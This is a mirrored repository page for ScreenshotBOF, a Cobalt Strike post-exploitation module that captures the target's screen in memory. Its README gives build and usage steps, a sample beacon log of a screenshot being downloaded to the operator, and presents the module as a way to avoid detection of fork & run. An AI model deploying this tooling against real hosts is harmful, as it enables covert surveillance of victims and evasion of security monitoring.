qwqdanchun
/
ScreenshotBOF
mirror of https://github.com/qwqdanchun/ScreenshotBOF.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
22 Commits 2 Branches 2 Tags 142 KiB
C 54.2%
C++ 32%
PowerShell 13.8%
Go to file
CodeXTF2 053e265950 s 2022-11-01 20:26:23 +08:00
ScreenshotBOF bmp renderer and user args 2022-11-01 20:25:10 +08:00
bin/BOF bmp renderer and user args 2022-11-01 20:25:10 +08:00
.gitignore first commit 2022-10-23 16:58:24 +08:00
README.md s 2022-11-01 20:26:23 +08:00
ScreenshotBOF.sln first commit 2022-10-23 16:58:24 +08:00

README.md

ScreenshotBOF

An alternative screenshot capability for Cobalt Strike that uses WinAPI and does not perform a fork & run. Screenshot downloaded in memory.

Self Compilation

  1. git clone the repo
  2. open the solution in Visual Studio
  3. Build project BOF

Usage

  1. import the screenshotBOF.cna script into Cobalt Strike
  2. use the command screenshot_bof {local filename} {save method 0/1}

Save methods:

  1. drop file to disk
  2. download file over beacon (Cobalt Strike only)
beacon> screenshot_bof sad.bmp 1
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 5267 bytes
[+] received output:
[*] Screen saved to bitmap
[+] received output:
[*] Downloading bitmap over beacon with filename sad.bmp
[*] started download of sad.bmp

Notes

  • no evasion is performed, which should be fine since the WinAPIs used are not malicious

Why did I make this?

Cobalt Strike uses a technique known as fork & run for many of its post-ex capabilities, including the screenshot command. While this behaviour provides stability, it is now well known and heavily monitored for. This BOF is meant to provide a more OPSEC safe version of the screenshot capability.

Credits